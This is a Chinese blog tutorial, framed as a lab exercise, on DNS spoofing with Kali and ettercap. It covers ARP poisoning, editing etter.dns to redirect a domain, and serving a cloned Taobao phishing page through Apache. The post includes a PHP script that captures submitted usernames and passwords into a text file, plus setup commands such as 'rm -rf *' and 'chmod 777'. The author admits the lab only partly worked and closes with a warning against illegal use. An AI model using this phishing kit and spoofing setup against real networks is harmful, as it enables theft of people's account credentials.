网络安全基础——DNS欺骗

本人声明整个过程完全是为了进行实验学习,并没有侵犯任何人的权益

DNS原理

实质是域名解析协议,,假设一企业员工上班浏览网页,他会在浏览器里输入http://www.xxxxxx.com这个网站域名,输入之后他的电脑并不知道这是个什么玩意,于是先查找本地的DNS缓存表,若是没有这条信息就会向最近的DNS服务器寻求帮助,直到找到这个网址指向的xxWeb服务器的IP地址才能访问xx的网页服务

具体如何进行DNS解析有很多细节,不多说了,这里的重点是主机会向DNS服务器寻求帮助

DNS欺骗

既然正常的DNS解析需要经过DNS服务器,那么能不能通过中间人攻击在两者之间横插一脚,窃取企业员工想要访问xx的意图,并伪装成DNS服务器代替DNS服务器为他提供错误的域名解析结果,将http://www.xxxxxx.com这个域名指向一个提前准备好的虚假的看似可信的网站,也叫做钓鱼网站,在未授权情况下获取他的姓名、年龄、账号、密码等私密信息

话不多说咱们开始

实验

实验内容

使用kali对想要使用xxWEB服务的企业员工主机进行DNS欺骗,诱使他进入提前准备好的钓鱼网站窃取他的私密信息

实验设备

  • Win XP
  • Win Sever 2003
  • kali

实验拓扑图

在这里插入图片描述

攻击步骤

发布虚假的网站

利用Apache发布与xx一模一样的钓鱼网站,并且做出修改窃取私密信息

首先需要开启kali上的web服务也就是Apache

systemctl start apache2		//开启Apache服务
netstat -antpl				//查看当前的服务

在这里插入图片描述

将淘宝的网站更改后发布在Apache上

Apache类似于windows的web服务,也会自动生成一个默认的站点,路径为:/var/www/html

这里将自动生成的网页删除换成xx的

cd /var/www/html	//进入该目录
ls					//看看里面有什么
rm -rf *			//删除
cp -r /home/kali/桌面/taobao/* ./  //将这个路径下的所有文件复制到当前路径

在这里插入图片描述

在这里插入图片描述

查看并更改1.txt的权限

ls -l				//查看权限
chmod 777 1.txt		//所有人对1.txt拥有所有权限

在这里插入图片描述

linux的权限是基于八进制数字系统而创建的,读权限(read,r)的值是4,写权限(write,w)的值是2,执行权限(execute,x)的值是1,没有授权的值是0,而三个777分别对应文件实际拥有者,文件实际拥有者所在的组,其它用户的权限都为4+2+1也就是最高权限(真尼玛难理解)

编写error.php文件用于点击登录后表单的提交和页面跳转

<?php

$nam = stripslashes($_POST[ 'name ']);
$pas = stripslashes($_POST[ 'pass ']);

$content = "您已捕获淘宝账号及密码1个:" . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+" );
	   @fwrite($filed, "$content\n");

?>


<html>
<head>
	<script type="text/javascript">
	function goBack()
	{
		window.history.back()11后退+刷新
	}
	</script>
</head>
<body οnlοad="goBack()"> <!--加载之后立即执行一段 JavaScript -->
</ body>
</html>

需要注意的是其中的name和pass需要和下面的两个文件中input标签中的name属性值对应对应,这样才能成功的截取到提交的表单信息

在这里插入图片描述

在这里插入图片描述

伪装DNS服务器

原本企业员工主机中会存在这样的表www.taobao.com–10.1.1.3通过DNS投毒直接把他改掉变成www.taobao.com–10.1.1.2

更改ettercap的DNS配置文件,目的是当开始DNS投毒时按照这个配置文件来执行

vim /etc/ettercap/etter.dns
//使用vim打开这个配置文件

打开之后长这个样子,带#的都是注释所以相当于这个文件是空的,啥都不用管,在里面加上这两行就行

下面是vim的操作方法

i		进入插入模式
ESC		退出插入模式
:q		退出
:wq		写入并退出

在这里插入图片描述

其中A代表正向DNS解析PTR代表反向DNS解析,为什么要加反向呢?因为有的浏览器会进行DNS反向验证,为了确保实验的成功加了两句,此外如果你想做的绝一点可以将前面域名部分改成 * 这样就意味着所有的域名都被解析成10.1.1.2,直接GG

中间人攻击

首先你需要进行ARP投毒让他们之间的信息流向你

我的上一篇文章有详细介绍网络安全基础——中间人攻击

完成ARP投毒后再打开DNS攻击的阀门,还是在ettercap中plugins->Manage plugins,双击dns_spoof打开,这时企业员工的主机的DNS就已经被投毒了,www.xxxxxx.com 访问的不再是xx网页了,而是钓鱼网站

在这里插入图片描述

做到这里企业员工的主机是已经被投毒了的,但是有可能还是访问了淘宝的网页,这是因为他的电脑里存在xx的DNS解析缓存,你可以执行一下ipconfig /flushdns刷新DNS缓存就可以了

总结

我的这次实验最终其实是失败了,但也不能说是完全失败,怎么说呢。。。我的DNS投毒成功了企业员工的主机会通过www.xxxxxx.com访问我的钓鱼网站,但是由于我对PHP和HTML网页的学习不是很多所以在分析xx的网页代码的时候没办法和error.php文件连接上导致表单数据没法传输记录下来,但是这都是小问题,钓鱼网站的技术我是学会了。

最后还是请大家千万别做违法的事情,以上全部内容都在下面的视频中有讲解:

【千锋】网络安全300集全套视频教程(web安全/渗透测试/黑客攻防/信息安全/代码审计)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值